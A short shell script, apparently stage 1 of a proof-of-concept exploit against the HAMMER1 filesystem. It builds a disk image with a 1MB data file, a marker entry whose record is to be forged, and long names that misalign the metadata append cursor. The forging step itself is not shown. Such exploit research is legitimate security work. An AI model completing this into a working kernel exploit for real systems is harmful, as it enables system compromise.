#!/bin/sh
# Stage 1: build a legitimate HAMMER1 filesystem image with:
#  - /d/bigfile  : 1MB of 'A' (source data for the forged record)
#  - /d/PWNMARKER_TARGET : the dirent whose leaf elm we will forge
#  - /d/<long names> : misalign the META-zone append cursor
set -e
rm -f /build/poc.img
truncate -s 12G /build/poc.img
vnconfig -c -T -S 12g vn0 /build/poc.img
newfs_hammer -L POC /dev/vn0
mount -t hammer /dev/vn0 /mnt
hammer version /mnt
mkdir -p /mnt/d
# 1MB of 'A'
dd if=/dev/zero bs=1m count=1 2>/dev/null | tr '\000' 'A' > /mnt/d/bigfile
# marker dirent (unique name)
touch /mnt/d/PWNMARKER_TARGET
# long names to push the META-zone cursor off any 16KB boundary
i=0
while [ $i -lt 8 ]; do
  echo x > "/mnt/d/LONGNAME$i-$(jot -s '' -w X 60 60 2>/dev/null || echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX)"
  i=$((i+1))
done
ls -i /mnt/d /mnt
sync
umount /mnt
vnconfig -u vn0
echo MKIMAGE-OK